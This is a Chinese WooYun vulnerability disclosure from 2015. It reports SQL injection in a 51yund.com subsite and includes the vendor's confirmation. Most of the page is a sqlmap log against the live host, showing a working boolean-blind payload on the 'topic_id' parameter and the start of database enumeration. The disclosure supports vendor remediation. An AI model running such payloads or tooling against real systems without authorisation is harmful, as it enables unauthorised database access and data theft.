当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096227

漏洞标题:悦动圈某分站sql注入,可跨库

相关厂商:51yund.com

漏洞作者: #6c6c6c

提交时间:2015-02-10 18:04

修复时间:2015-03-27 18:06

公开时间:2015-03-27 18:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-10: 细节已通知厂商并且等待厂商处理中
2015-02-11: 厂商已经确认,细节仅向厂商公开
2015-02-21: 细节向核心白帽子及相关领域专家公开
2015-03-03: 细节向普通白帽子公开
2015-03-13: 细节向实习白帽子公开
2015-03-27: 细节向公众公开

简要描述:

sql

详细说明:

漏洞证明:

注入地址:http://circle.51yund.com/viewGroupPic?topic_id=15805&photo_id=29270&use
r_id=&source=topic_photo
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 21:16:53
[21:16:53] [INFO] using 'C:\Users\Administrator\Desktop\sqlmap GUI汉化版\rar\out
put\circle.51yund.com\session' as session file
[21:16:53] [INFO] testing connection to the target url
[21:16:54] [INFO] testing if the url is stable, wait a few seconds
[21:16:55] [INFO] url is stable
[21:16:55] [INFO] testing if GET parameter 'topic_id' is dynamic
[21:16:55] [INFO] confirming that GET parameter 'topic_id' is dynamic
[21:16:55] [INFO] GET parameter 'topic_id' is dynamic
[21:16:55] [INFO] heuristics detected web page charset 'ascii'
[21:16:55] [WARNING] heuristic test shows that GET parameter 'topic_id' might no
t be injectable
[21:16:55] [INFO] testing sql injection on GET parameter 'topic_id'
[21:16:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:16:58] [INFO] GET parameter 'topic_id' is 'AND boolean-based blind - WHERE o
r HAVING clause' injectable
[21:16:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:16:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:16:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:16:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:16:59] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:16:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:16:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:16:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:16:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:16:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:16:59] [INFO] testing 'Oracle AND time-based blind'
[21:17:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:17:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:17:01] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[21:17:02] [INFO] checking if the injection point on GET parameter 'topic_id' is
a false positive
GET parameter 'topic_id' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
[21:17:08] [INFO] testing if GET parameter 'photo_id' is dynamic
[21:17:08] [WARNING] GET parameter 'photo_id' appears to be not dynamic
[21:17:08] [WARNING] heuristic test shows that GET parameter 'photo_id' might no
t be injectable
[21:17:08] [INFO] testing sql injection on GET parameter 'photo_id'
[21:17:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:17:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:17:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:17:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:17:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:17:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:17:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:17:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:17:13] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:17:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:17:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:17:14] [INFO] testing 'Oracle AND time-based blind'
[21:17:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:17:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:17:26] [WARNING] GET parameter 'photo_id' is not injectable
[21:17:26] [INFO] testing if GET parameter 'user_id' is dynamic
[21:17:26] [WARNING] GET parameter 'user_id' appears to be not dynamic
[21:17:26] [WARNING] heuristic test shows that GET parameter 'user_id' might not
be injectable
[21:17:26] [INFO] testing sql injection on GET parameter 'user_id'
[21:17:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:17:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:17:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:17:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:17:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:17:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:17:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:17:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:17:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:17:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:17:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:17:32] [INFO] testing 'Oracle AND time-based blind'
[21:17:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:17:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:17:47] [WARNING] GET parameter 'user_id' is not injectable
[21:17:47] [INFO] testing if GET parameter 'source' is dynamic
[21:17:47] [WARNING] GET parameter 'source' appears to be not dynamic
[21:17:47] [WARNING] heuristic test shows that GET parameter 'source' might not
be injectable
[21:17:47] [INFO] testing sql injection on GET parameter 'source'
[21:17:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:17:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[21:17:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:17:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[21:17:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[21:17:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:17:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[21:17:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[21:17:52] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:17:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:17:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[21:17:55] [INFO] testing 'Oracle AND time-based blind'
[21:17:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:18:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:18:07] [WARNING] GET parameter 'source' is not injectable
sqlmap identified the following injection points with a total of 508 HTTP(s) req
uests:
---
Place: GET
Parameter: topic_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: topic_id=15805 AND 4213=4213&photo_id=29270&user_id=&source=topic_p
hoto
---
[21:18:07] [INFO] testing MySQL
[21:18:07] [INFO] confirming MySQL
[21:18:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[21:18:07] [INFO] fetching database names
[21:18:07] [INFO] fetching number of databases
[21:18:07] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[21:18:07] [INFO] retrieved: 12
[21:18:21] [INFO] retrieved: information_schema!
[21:20:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[21:20:53] [INFO] retrieved: j

修复方案:

12个数据库,过滤一点

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-02-11 14:49

厂商回复:

经确认属实,部分接口有sql注入风险。

最新状态:

暂无